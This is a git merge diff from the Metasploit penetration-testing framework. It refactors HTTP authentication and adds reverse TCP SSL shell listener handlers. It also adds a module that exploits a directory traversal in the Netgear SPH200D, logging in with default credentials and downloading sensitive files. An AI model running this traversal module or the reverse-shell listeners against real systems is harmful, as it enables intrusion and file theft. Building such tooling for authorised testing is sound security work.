Merge branch 'http/auth_methods' of git://github.com/dmaloney-r7/metasploit-framework into dmaloney-r7-http/auth_methods

bug/bundler_fix
James Lee 2013-02-06 16:55:51 -06:00
commit 24cb9e5ff8
37 changed files with 1299 additions and 432 deletions

View File

@ -188,7 +188,9 @@ module Anemone
context,
url.scheme == "https",
'SSLv23',
@opts[:proxies]
@opts[:proxies],
@opts[:username],
@opts[:password]
)
conn.set_config(

View File

@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler
Opt::Proxies,
OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]),
OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]),
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4])
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication'])
], self.class
)
@ -34,8 +36,6 @@ module Auxiliary::HttpCrawler
OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests',
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
]),
OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
@ -118,8 +118,9 @@ module Auxiliary::HttpCrawler
:info => ""
})
if datastore['BasicAuthUser']
t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '')
if datastore['USERNAME'] and datastore['USERNAME'] != ''
t[:username] = datastore['USERNAME'].to_s
t[:password] = datastore['PASSWORD'].to_s
end
if datastore['HTTPCookie']
@ -278,9 +279,8 @@ module Auxiliary::HttpCrawler
opts[:cookies] = t[:cookies]
end
if t[:http_basic_auth]
opts[:http_basic_auth] = t[:http_basic_auth]
end
opts[:username] = t[:username] || ''
opts[:password] =t[:password] || ''
opts
end

View File

@ -70,6 +70,7 @@ class Auxiliary::Web::HTTP
attr_reader :framework
attr_accessor :redirect_limit
attr_accessor :username , :password
def initialize( opts = {} )
@opts = opts.dup
@ -85,8 +86,8 @@ class Auxiliary::Web::HTTP
@request_opts = {}
if opts[:auth].is_a? Hash
@request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
@username = opts[:auth][:user].to_s
@password = opts[:auth][:password].to_s
end
self.redirect_limit = opts[:redirect_limit] || 20
@ -106,7 +107,9 @@ class Auxiliary::Web::HTTP
opts[:target].port,
{},
opts[:target].ssl,
'SSLv23'
'SSLv23',
username,
password
)
c.set_config({
@ -148,23 +151,6 @@ class Auxiliary::Web::HTTP
while rlimit >= 0
rlimit -= 1
res = _request( url, opts )
if res.code == 401 and res.headers['WWW-Authenticate'] and opts['username']
if res.headers['WWW-Authenticate'].include? 'Basic'
opts['password']||= ''
opts['basic_auth'] = opts['username'] + ":" + opts['password']
res = _request( url, opts )
elsif res.headers['WWW-Authenticate'].include? 'Digest'
opts['DigestAuthUser'] = opts['username']
opts['DigestAuthPassword'] = opts['password']
res = send_digest_request_cgi(opts,timeout)
elsif res.headers['WWW-Authenticate'].include? "Negotiate"
opts['provider'] = 'Negotiate'
res = send_request_auth_negotiate(opts,timeout)
elsif res.headers['WWW-Authenticate'].include? "NTLM"
opts['provider'] = 'NTLM'
res = send_request_auth_negotiate(opts,timeout)
end
end
return res if !opts[:follow_redirect] || !url = res.headers['location']
end
nil
@ -311,6 +297,10 @@ class Auxiliary::Web::HTTP
opts['data'] = body if body
c = connect
if opts['username'] and opts['username'] != ''
c.username = opts['username'].to_s
c.password = opts['password'].to_s
end
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
rescue ::Timeout::Error
Response.timed_out

View File

@ -274,6 +274,10 @@ module Exploit::Remote::HttpClient
def send_request_cgi(opts={}, timeout = 20)
begin
c = connect(opts)
if opts['username'] and opts['username'] != ''
c.username = opts['username'].to_s
c.password = opts['password'].to_s
end
r = c.request_cgi(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
@ -289,50 +293,6 @@ module Exploit::Remote::HttpClient
datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '')
end
#
# Authenticates to the remote host based on the most appropriate authentication method,
# and returns the HTTP response. If there are multiple auth methods supported, then it
# will pick one in the following order: Basic, Digest, Negotiate, and then NTLM.
#
# Options:
# - username: The username to authenticate as
# - password: The password to authenticate with
#
def send_request_smart_auth(opts={}, timeout=20)
res = send_request_cgi(opts,timeout)
return nil if res.nil?
return res unless res.code == 401
return res if opts['username'].blank?
return res unless res.headers['WWW-Authenticate']
if res.headers['WWW-Authenticate'].include? "Basic"
opts['password']||= ''
opts['basic_auth'] = opts['username'] + ":" + opts['password']
res = send_request_cgi(opts,timeout)
return res
elsif res.headers['WWW-Authenticate'].include? "Digest"
opts['DigestAuthUser'] = opts['username']
opts['DigestAuthPassword'] = opts['password']
res = send_digest_request_cgi(opts,timeout)
return res
elsif res.headers['WWW-Authenticate'].include? "Negotiate"
opts['provider'] = 'Negotiate'
res = send_request_auth_negotiate(opts,timeout)
return res
elsif res.headers['WWW-Authenticate'].include? "NTLM"
opts['provider'] = 'NTLM'
res = send_request_auth_negotiate(opts,timeout)
return res
end
return nil
end
##
#
# Wrappers for getters

View File

@ -42,7 +42,7 @@ module Exploit::Remote::WinRM
c = connect(opts)
to = opts[:timeout] || timeout
ctype = "application/soap+xml;charset=UTF-8"
resp, c = send_request_cgi(opts.merge({
resp, c = send_winrm_request(opts.merge({
'uri' => opts['uri'],
'method' => 'POST',
'ctype' => ctype,
@ -61,7 +61,7 @@ module Exploit::Remote::WinRM
end
def winrm_run_cmd(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
resp = send_winrm_request(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
@ -76,17 +76,17 @@ module Exploit::Remote::WinRM
return retval
end
shell_id = winrm_get_shell_id(resp)
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
streams = winrm_get_cmd_streams(resp)
resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id))
resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
resp = send_winrm_request(winrm_delete_shell_msg(shell_id))
return streams
end
def winrm_run_cmd_hanging(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
resp = send_winrm_request(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
@ -101,9 +101,9 @@ module Exploit::Remote::WinRM
return retval
end
shell_id = winrm_get_shell_id(resp)
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
streams = winrm_get_cmd_streams(resp)
return streams
end
@ -219,98 +219,6 @@ module Exploit::Remote::WinRM
::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
end
def send_request_ntlm(data, timeout = 20)
opts = {
'uri' => datastore['URI'],
'data' => data,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
ntlm_options = {
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => datastore['NTLM::SendNTLM']
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
domain_name = datastore['DOMAIN']
ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
workstation_name,
ntlmssp_flags))
to = opts[:timeout] || timeout
begin
c = connect(opts)
ctype = "application/soap+xml;charset=UTF-8"
# First request to get the challenge
r = c.request_cgi(opts.merge({
'uri' => opts['uri'],
'method' => 'POST',
'ctype' => ctype,
'headers' => { 'Authorization' => ntlm_message_1},
'data' => opts['data']
}))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [nil,nil] if resp.code == 404
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
# Get the challenge and craft the response
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1]
return [nil,nil] unless ntlm_challenge
#old and simplier method but not compatible with windows 7/2008r2
#ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
#ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true})
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2)
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
resp_lm,
resp_ntlm,
client_challenge,
ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key,
domain_name, default_name, default_domain,
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
resp_lm, resp_ntlm, '', ntlmssp_flags)
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
# Send the response
r = c.request_cgi(opts.merge({
'uri' => opts['uri'],
'method' => 'POST',
'ctype' => ctype,
'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"},
'data' => opts['data']
}))
resp = c.send_recv(r, to, true)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [nil,nil] if resp.code == 404
return [resp,c]
rescue ::Errno::EPIPE, ::Timeout::Error
end
end
def accepts_ntlm_auth
parse_auth_methods(winrm_poke).include? "Negotiate"
end
def target_url
proto = "http"
if rport == 5986 or datastore['SSL']
@ -329,6 +237,18 @@ module Exploit::Remote::WinRM
return "/root/cimv2/"
end
def send_winrm_request(data, timeout=20)
opts = {
'uri' => datastore['URI'],
'method' => 'POST',
'data' => data,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'ctype' => "application/soap+xml;charset=UTF-8"
}
send_request_cgi(opts,timeout)
end
private

View File

@ -0,0 +1,300 @@
# -*- coding: binary -*-
module Msf
module Handler
###
#
# This module implements the reverse double TCP handler. This means
# that it listens on a port waiting for a two connections, one connection
# is treated as stdin, the other as stdout.
#
# This handler depends on having a local host and port to
# listen on.
#
###
module ReverseTcpDoubleSSL
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_tcp_double'.
#
def self.handler_type
return "reverse_tcp_double_ssl"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse TCP handler and ads the options that are required
# for all reverse TCP payloads, like local host and local port.
#
def initialize(info = {})
super
register_options(
[
Opt::LHOST,
Opt::LPORT(4444)
], Msf::Handler::ReverseTcpDoubleSSL)
register_advanced_options(
[
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
], Msf::Handler::ReverseTcpDoubleSSL)
self.conn_threads = []
end
#
# Starts the listener but does not actually attempt
# to accept a connection. Throws socket exceptions
# if it fails to start the listener.
#
def setup_handler
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
end
self.listener_sock = Rex::Socket::TcpServer.create(
# 'LocalHost' => datastore['LHOST'],
'LocalPort' => datastore['LPORT'].to_i,
'Comm' => comm,
'SSL' => true,
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
stop_handler
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads.each { |thr|
thr.kill
}
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) {
sock_inp = nil
sock_out = nil
print_status("Started reverse double handler")
begin
# Accept two client connection
begin
client_a = self.listener_sock.accept
print_status("Accepted the first client connection...")
client_b = self.listener_sock.accept
print_status("Accepted the second client connection...")
sock_inp, sock_out = detect_input_output(client_a, client_b)
rescue
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
return nil
end
# Increment the has connection counter
self.pending_connections += 1
# Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected
# to implement the Stream interface.
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
begin
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
handle_connection(chan.lsock)
rescue
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
end
}
end while true
}
end
#
# Accept two sockets and determine which one is the input and which
# is the output. This method assumes that these sockets pipe to a
# remote shell, it should overridden if this is not the case.
#
def detect_input_output(sock_a, sock_b)
begin
# Flush any pending socket data
sock_a.get_once if sock_a.has_read_data?(0.25)
sock_b.get_once if sock_b.has_read_data?(0.25)
etag = Rex::Text.rand_text_alphanumeric(16)
echo = "echo #{etag};\n"
print_status("Command: #{echo.strip}")
print_status("Writing to socket A")
sock_a.put(echo)
print_status("Writing to socket B")
sock_b.put(echo)
print_status("Reading from sockets...")
resp_a = ''
resp_b = ''
if (sock_a.has_read_data?(1))
print_status("Reading from socket A")
resp_a = sock_a.get_once
print_status("A: #{resp_a.inspect}")
end
if (sock_b.has_read_data?(1))
print_status("Reading from socket B")
resp_b = sock_b.get_once
print_status("B: #{resp_b.inspect}")
end
print_status("Matching...")
if (resp_b.match(etag))
print_status("A is input...")
return sock_a, sock_b
else
print_status("B is input...")
return sock_b, sock_a
end
rescue ::Exception
print_status("Caught exception in detect_input_output: #{$!}")
end
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# Terminate the listener thread
if (self.listener_thread and self.listener_thread.alive? == true)
self.listener_thread.kill
self.listener_thread = nil
end
if (self.listener_sock)
self.listener_sock.close
self.listener_sock = nil
end
end
protected
attr_accessor :listener_sock # :nodoc:
attr_accessor :listener_thread # :nodoc:
attr_accessor :conn_threads # :nodoc:
module TcpReverseDoubleSSLChannelExt
attr_accessor :localinfo
attr_accessor :peerinfo
end
###
#
# This class wrappers the communication channel built over the two inbound
# connections, allowing input and output to be split across both.
#
###
class TcpReverseDoubleSSLSessionChannel
include Rex::IO::StreamAbstraction
def initialize(framework, inp, out)
@framework = framework
@sock_inp = inp
@sock_out = out
initialize_abstraction
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
monitor_shell_stdout
end
#
# Funnel data from the shell's stdout to +rsock+
#
# +StreamAbstraction#monitor_rsock+ will deal with getting data from
# the client (user input). From there, it calls our write() below,
# funneling the data to the shell's stdin on the other side.
#
def monitor_shell_stdout
# Start a thread to pipe data between stdin/stdout and the two sockets
@monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) {
begin
while true
# Handle data from the server and write to the client
if (@sock_out.has_read_data?(0.50))
buf = @sock_out.get_once
break if buf.nil?
rsock.put(buf)
end
end
rescue ::Exception => e
ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}")
end
# Clean up the sockets...
begin
@sock_inp.close
@sock_out.close
rescue ::Exception
end
}
end
def write(buf, opts={})
@sock_inp.write(buf, opts)
end
def read(length=0, opts={})
@sock_out.read(length, opts)
end
#
# Closes the stream abstraction and kills the monitor thread.
#
def close
@monitor_thread.kill if (@monitor_thread)
@monitor_thread = nil
cleanup_abstraction
end
end
end
end
end

View File

@ -0,0 +1,124 @@
require 'rex/socket'
require 'thread'
require 'msf/core/handler/reverse_tcp'
module Msf
module Handler
###
#
# This module implements the reverse TCP handler. This means
# that it listens on a port waiting for a connection until
# either one is established or it is told to abort.
#
# This handler depends on having a local host and port to
# listen on.
#
###
module ReverseTcpSsl
include Msf::Handler::ReverseTcp
#
# Returns the string representation of the handler type, in this case
# 'reverse_tcp_ssl'.
#
def self.handler_type
return "reverse_tcp_ssl"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse TCP SSL handler and adds the certificate option.
#
def initialize(info = {})
super
register_advanced_options(
[
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)'])
], Msf::Handler::ReverseTcpSsl)
end
#
# Starts the listener but does not actually attempt
# to accept a connection. Throws socket exceptions
# if it fails to start the listener.
#
def setup_handler
if datastore['Proxies']
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies'
end
ex = false
# Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
# First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR.
any = (addr.length == 4) ? "0.0.0.0" : "::0"
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
comm = datastore['ReverseListenerComm']
if comm.to_s == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
if not datastore['ReverseListenerBindAddress'].to_s.empty?
# Only try to bind to this specific interface
addrs = [ datastore['ReverseListenerBindAddress'] ]
# Pick the right "any" address if either wildcard is used
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
end
addrs.each { |ip|
begin
comm.extend(Rex::Socket::SslTcp)
self.listener_sock = Rex::Socket::SslTcpServer.create(
'LocalHost' => datastore['LHOST'],
'LocalPort' => datastore['LPORT'].to_i,
'Comm' => comm,
'SSLCert' => datastore['SSLCert'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
ex = false
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
comm_used = Rex::Socket::Comm::Local if comm_used == nil
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
via = "via the #{comm_used.type} on session #{comm_used.sid}"
else
via = ""
end
print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}")
break
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}")
end
}
raise ex if (ex)
end
end
end
end

View File

@ -479,4 +479,20 @@ class Msf::Module::Platform
Rank = 100
Alias = "php"
end
#
# JavaScript
#
class JavaScript < Msf::Module::Platform
Rank = 100
Alias = "js"
end
#
# Python
#
class Python < Msf::Module::Platform
Rank = 100
Alias = "python"
end
end

View File

@ -201,8 +201,8 @@ class Client
req << set_extra_headers(c_head)
req << set_raw_headers(c_rawh)
req << set_body(c_body)
req
{:string => req , :opts => opts}
end
@ -359,9 +359,9 @@ class Client
end
#
# Transmit an HTTP request and receive the response
# If persist is set, then the request will attempt
# to reuse an existing connection.
# Sends a request and gets a response back
# If the request is a 401, and we have creds, it will attempt to
# complete authentication and return the final response
#
def send_recv(req, t = -1, persist=false)
opts = req[:opts]
@ -373,6 +373,11 @@ class Client
res
end
#
# Transmit an HTTP request and receive the response
# If persist is set, then the request will attempt
# to reuse an existing connection.
#
def _send_recv(req, t = -1, persist=false)
if req.kind_of? Hash and req[:string]
req = req[:string]
@ -392,10 +397,21 @@ class Client
conn.put(req.to_s)
end
# Validates that the client has creds
def have_creds?
!(self.username.nil?) && self.username != ''
end
#
# Params -
# res = The 401 response we need to auth from
# opts = the opts used to generate the request that created this response
# t = the timeout for the http requests
# persist = whether to persist the tcp connection for HTTP Pipelining
#
# Parses the response for what Authentication methods are supported.
# Sets the corect authorization options and passes them on to the correct
# method for sending the next request.
def send_auth(res, opts, t, persist)
supported_auths = res.headers['WWW-Authenticate']
if supported_auths.include? 'Basic'
@ -431,13 +447,31 @@ class Client
end
return res
end
return res
end
# Converts username and password into the HTTP Basic
# authorization string.
def basic_auth_header(username,password)
auth_str = username.to_s + ":" + password.to_s
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
end
#
# Opts -
# Inherits all the same options as send_request_cgi
# Also expects some specific opts
# DigestAuthUser - The username for DigestAuth
# DigestAuthPass - The password for DigestAuth
# DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support
#
# This method builds new request to complete a Digest Authentication cycle.
# We do not persist the original connection , to clear state in preparation for our auth
# We do persist the rest of the connection stream because Digest is a tcp session
# based authentication method.
#
def digest_auth(opts={})
@nonce_count = 0
@ -449,7 +483,7 @@ class Client
method = opts['method']
path = opts['uri']
iis = true
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'])
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)
iis = false
end
@ -463,7 +497,7 @@ class Client
r = request_cgi(opts.merge({
'uri' => path,
'method' => method }))
resp = _send_recv(r, to, true)
resp = _send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return nil
end
@ -571,6 +605,15 @@ class Client
end
end
#
# Opts -
# Inherits all the same options as send_request_cgi
# provider - What Negotiate Provider to use (supports NTLM and Negotiate)
#
# Builds a series of requests to complete Negotiate Auth. Works essentially
# the same way as Digest auth. Same pipelining concerns exist.
#
def negotiate_auth(opts={})
ntlm_options = {
:signing => false,
@ -581,6 +624,8 @@ class Client
}
to = opts['timeout'] || 20
opts['username'] ||= self.username.to_s
opts['password'] ||= self.password.to_s
if opts['provider'] and opts['provider'].include? 'Negotiate'
provider = "Negotiate "
@ -608,7 +653,7 @@ class Client
# First request to get the challenge
opts['headers']['Authorization'] = ntlm_message_1
r = request_cgi(opts)
resp = _send_recv(r, to, true)
resp = _send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return nil
end

View File

@ -0,0 +1,121 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerablity which is present in
Netgear SPH200D Skype telephone.
},
'References' =>
[
[ 'BID', '57660' ],
[ 'EDB', '24441' ],
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
],
'Author' => [ 'm-1-k-3' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ true, 'Password to login with', 'password'])
], self.class)
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
words = File.open(wordfile, "rb") do |f|
f.read
end
rescue
return []
end
save_array = words.split(/\r?\n/)
return save_array
end
#traversal every file
def find_files(file,user,pass)
traversal = '/../../'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(traversal, file),
'basic_auth' => "#{user}:#{pass}"
})
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => "/",
:pname => normalize_uri(traversal, file),
:risk => 3,
:proof => normalize_uri(traversal, file),
:name => self.fullname,
:category => "web",
:method => "GET"
})
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
elsif res and res.code
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
end
end
def run_host(ip)
user = datastore['USERNAME']
pass = datastore['PASSWORD']
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
#test login
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'basic_auth' => "#{user}:#{pass}"
})
return :abort if res.nil?
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
return :abort if (res.code == 404)
if [200, 301, 302].include?(res.code)
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
return :abort
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return :abort
end
extract_words(datastore['FILELIST']).each do |file|
find_files(file,user,pass) unless file.empty?
end
end
end

View File

@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary
))
# disabling all the unnecessary options that someone might set to break our query
deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN',
deregister_options('RPORT','RHOST', 'DOMAIN',
'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM',
'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session',
'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL')
'NTLM::UseNTLMv2', 'SSL')
register_options(
[

View File

@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'Cisco Device HTTP Device Manager Access',
'Description' => %q{
This module gathers data from a Cisco device (router or switch) with the device manager
web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify
web interface exposed. The USERNAME and PASSWORD options can be used to specify
authentication.
},
'Author' => [ 'hdm' ],
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("#{rhost}:#{rport} Successfully authenticated to this device")
# Report a vulnerability only if no password was specified
if datastore['BasicAuthPass'].to_s.length == 0
if datastore['PASSWORD'].to_s.length == 0
report_vuln(
{

View File

@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
[
],
'Author' => [ 'hdm' ],
'Author' => [ 'hdm' , 'thelightcosine'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
@ -48,9 +48,7 @@ class Metasploit3 < Msf::Auxiliary
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
end
def find_auth_uri_and_scheme
path_and_scheme = []
def find_auth_uri
if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0
paths = [datastore['AUTH_URI']]
else
@ -80,21 +78,9 @@ class Metasploit3 < Msf::Auxiliary
next if not res
end
next if not res.code == 401
next if not res.headers['WWW-Authenticate']
path_and_scheme << path
case res.headers['WWW-Authenticate']
when /Basic/i
path_and_scheme << "Basic"
when /NTLM/i
path_and_scheme << "NTLM"
when /Digest/i
path_and_scheme << "Digest"
end
return path_and_scheme
return path
end
return path_and_scheme
end
def target_url
@ -111,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
print_error("You need need to set AUTH_URI when using PUT Method !")
return
end
@uri, @scheme = find_auth_uri_and_scheme()
@uri = find_auth_uri()
if ! @uri
print_error("#{target_url} No URI found that asks for HTTP authentication")
return
@ -119,12 +105,7 @@ class Metasploit3 < Msf::Auxiliary
@uri = "/#{@uri}" if @uri[0,1] != "/"
if ! @scheme
print_error("#{target_url} Incompatible authentication scheme")
return
end
print_status("Attempting to login to #{target_url} with #{@scheme} authentication")
print_status("Attempting to login to #{target_url}")
each_user_pass { |user, pass|
do_login(user, pass)
@ -133,27 +114,23 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user='admin', pass='admin')
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
success = false
proof = ""
ret = do_http_login(user,pass,@scheme)
return :abort if ret == :abort
if ret == :success
proof = @proof.dup
success = true
end
response = do_http_login(user,pass)
result = determine_result(response)
if success
return :abort if result == :abort
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
any_user = false
any_pass = false
vprint_status("#{target_url} - Trying random username with password:'#{pass}'")
any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme)
any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass))
